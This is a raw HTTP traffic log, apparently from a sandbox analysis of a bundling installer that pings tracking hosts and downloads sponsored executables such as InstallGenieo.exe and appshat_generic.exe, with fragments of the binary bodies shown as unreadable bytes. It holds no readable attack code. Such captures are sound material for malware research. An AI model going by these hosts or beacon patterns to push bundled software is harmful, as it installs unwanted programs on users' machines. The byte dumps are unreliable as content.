GET /app/ping.ashx?e=qIQu8 l0/f3HiNdSCLSbRzNQ327oSemc3RDD4M2MKnlkNeKJ xgctR/BbyLwbpRWS4NlvEo3Po3fHDEhjsU1jmbktPzt6Fdq8aHXnj8PuXHIahPQTC7hQpKni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr 5wqQtZePiPscQdvIcPTBjo0SbHGEDLI 3LHIFTI8ANKiX9alU/YH9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq/OW74nu26uk8p7C9xhBPUx8TXocUgaG55dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeB/Xp7hpz9nmjzI9BxDSNCg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:28 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=s5Ydxb c7o0bk7XUyXGZ5seI11IItJtHtRYCWMbOXNDdEMPgzYwqeWQ14on7GBy10Z2od4/JytiUTOMPdFXY/7OjtqelOAq5S5Zh8zqLOZ9ZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6WwH52BQS2VDhNPMJ2DRUrFeFuEhupHszFkSmKH5lT07PQ1kgjXHSHi1Pu9FI3 6MG6yVq1Ms99xdxaTTmY/LLPy7V1/PFrjZFZGoCwBRvueP7OUq27b2mrT573fGVhqBe Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaqTMNUzlv3S2UwQxN4YQsjeo5cv5pNmp8fl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7Z45nHPfvJZu0FscvLmfeEU= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:29 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sat, 14 Feb 2015 03:58:29 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=eFCD8T/coiffLKKeESUbyWrXo tCnzTysXg2Ujmg/gRP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9THxNehxSBobnl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4H9enuGnP2ecO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhy/5h5mk4MLUvgTj4recZvqjqwYrUBZupSK5Npo64WvnAOPNnWV9jDGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VO6CT26NwNt2ARXvE/0UwxiIR1sKxPFdTdiKBXSOghe2a3NQFKTd3L/Kt8x6kEY4pNtaXj6719Hoc6Hozo4QbpbsS34YoJGU6w= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:32 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sat, 14 Feb 2015 03:58:32 GMT..Content-Length: 0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=804178-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 482505
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:57 GMT
Content-Range: bytes 804178-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: taJGbyMQS58YlkwpZUEwJ2ScQLyPPgwGx_TieCXNi9wqtFhcFA42gg==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 482505..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT..Accept-Ranges: bytes.
.ETag: "639a3946a47d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Sat, 14 Feb 2015 03:56:57 GMT..Content-Range: bytes 80417
8-1286682/1286683..X-Cache: Miss from cloudfront..Via: 1.1 8813babdd85
ca691e150294142d51c61.cloudfront.net (CloudFront)..X-Amz-Cf-Id: taJGby
MQS58YlkwpZUEwJ2ScQLyPPgwGx_TieCXNi9wqtFhcFA42gg==..$.N\h..d *...-..V.
&.:........PU..}..4.>E..\..*.....M...Z.".....6..........U.....v..N*
.V.5...f.....:.Q....UYcaoL......p?.n...=.6~cus|.7B..N%.[GL...[...(...2
t.e:w...].........!>...0cX9.3.j......|.0"... ....2..b.....w..O8.\..
.......2.a{...'.=.-g.I..>Gj:i..7d.f....T....$^}b....=AzAP...h...D..
B.........}/g9..F.4.%........g.......G.Zr......m.O.d.K)c..........q...
<q.....s.......J.....3.... w..P.....G............3...s..B...L......
N.GE..^1...T...Y.`f.9.y..eq.v.E\O....^k.....3.....J..2...,..0....a...i
P./....*....W.........Z.......-7......e.^{.v..Mq.C...8S.....s.G<I/p
..kD.A.;[email protected]{^.r.R.........Vr
..}.T.M.F....~....g...J....a{...)...6.c........=....._......#.)[email protected]
i....G!NR.<.{.8...\...PF.....VLA|....p .L.....B<.g.H$X.h.2Y..I.]
h7..8...;L%p.....K... ...:....(.....K./..rqn`[email protected]..#
.8.[..u..&.y.S...%..,l....E.^..&..<.[..h....U..}..Z......aDz..S..j.
..0.......9..K..g..%......E.n......Q.z..... &..3...7..v!.<.4...
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=4&index_in_screen=1&index_in_session=4&0.5368514700020851 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.1.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:00:01 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&0.6555264512590716 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.2.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1

GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&0.606378700558599 HTTP/1.1
Accept: */*
Referer: hXXp://
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:00:09 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 04:00:09 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=249864-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 35694
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 249864-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: BU3Eu5PNixBEjhsrIU_Uf6CApm4-zppE4rkfd4UTxUjSNTYbVL-j9A==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.
<<< skipped >>>


GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 98
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245; path=/; HttpOnly
Date: Sat, 14 Feb 2015 03:58:14 GMT
Connection: close
<RESULT>.<USER>.<ID>d1fff6f4-9b68-4327-a77d-371e4d52
47a9</ID>.<PW>vyO3DXXU</PW>.</USER>.</RESUL
T>...



GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=50018-100036
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 50019
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 50018-100036/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 de7a549023f0ea5ae15f58d27aeb67c7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: KQkbIKArtkPne9KwjvlqN2ueb8dcxErhhOY-MSA9x5yjdAu_Dqo8NQ==
M.{..h.Hk.Y*.._4N.....w..?0 .G..K.F...!....f.b...Z...w.B.l..,.pB..2.~~
.......J.;k.#t..".np...K.....R..3.T........4..k/.?.../.....}..^.-.....
.P.W,X..b...Y.TZv.S.J.F.MZ.7.,..H.c..=.dt6u...(......O.......Mf4;...{s
...8......q.V....!J\B.....e...c..s...Y}.......9&:..z....1..l...v?.....
.7..4h.mJ....A.v..f....a.C...|E...\....T.O... ..|7f..vrw.......H......
.c...~...%..G/4K"<..d....2.e.G[..}=.S.R$.o......g.........y....)P..
wRr..[(.u.I|.6..My......y...I.t;.h....(n.m...b.G\.qH..G.......C?EC....
([email protected].....).q3....^L.. .....Yw......n.....a.3...^...g.yH..
..v.<x.X...D,M..'..MzF..zFf......|.h%.6M...d`.)[email protected]$SL....
... .&.7..(:.F.>8....M5..^o_.....o...\...N....x......q.O...7"QB...A
w....;G..b..{c .....?wF....jW=..r$hAHo.SdV.#.7..............>.B.z..
.J...I=...i.g..#....3. s>../j=vN........g.....O....D.1..C.V.E...6.f
I.}Y.{?L.....wh.$Rb.."... .}h..1..xQ...[[email protected]....*.9l
.Rfx...,..)D...%....{~...;q>s.0.........J.%....C ...>#qc.G...Q..
.$:|..b....[=...5.e\.Ov.O.:...._....J.M.)._.".../o...:.44.S.D..Fp...*.
.....[.u7...A...-......C...4.~...W.iK!.n.[:..%...."...5.3.M,t.w.w....s
...o..j9....b3..6(......0.-....&..`.].~..yc..p...JV(....O4....T..P-VDr
.D.....0..T.......|.S......rJ....K..X...t..............gl..O.g.{i..(..
l...*.*...$....@..[....6.p.....y.|f.A...&.ha.....t9H....-_..{'QV`.N.&g
t;...C..2...$:.....}/....`..#TKg..I....3.d..p.....IS.G.>Q'....[....
0q.8u...k~.F..H...2..~.X.E.>[email protected]..,B..'Q....L.]..Jy..UZ.<..W..
...z.>n.op..l.j.d .;*Ha#..xx}.8~J...QRK. ..Fi57._....~..!..X.n.
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: uvI2tz0FGk0xstO/kF9HCfRlwwUkIKLdwAxxQ/aa1cNdZnCcqWdLA8iuM62yucR2YJ7g7qHaxO4=
x-amz-request-id: 1858999778AE45C6
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 0-988407/988408
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=214170-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71388
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 214170-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qDs7yIs5dA7AMVHjqFPYzgag7QhA41yI0n1GdH2IGb92Rr190ZkUig==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71389-142779
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71391
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71389-142779/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LiUrHNw0F5_lMx-rqDioEP9oaA7NRmLIBoYKcEjdcE0PMxcopV_drA==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=142780-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 142778
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 142780-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: lQ0y7FCCvaYGVdkv4jjNdUwlZfYGMsGxPdhyddVgSKAYXammq6uVeQ==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...
<<< skipped >>>


GET /mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: flex.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK
Cache-Control: public
Content-Type: application/x-javascript; charset=utf-8
Content-Encoding: gzip
Expires: Sat, 14 Feb 2015 04:14:20 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
X-AspNet-Version: 4.0.30319
Date: Sat, 14 Feb 2015 03:59:20 GMT
Connection: close
Content-Length: 490
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;..8..]....../.6....i.
Wyu.....*........}l^..N...zyx..i....M>.U.."_....=-s....l..17...j.||
...............g...../... .....f...n..g.............>n..g......}...
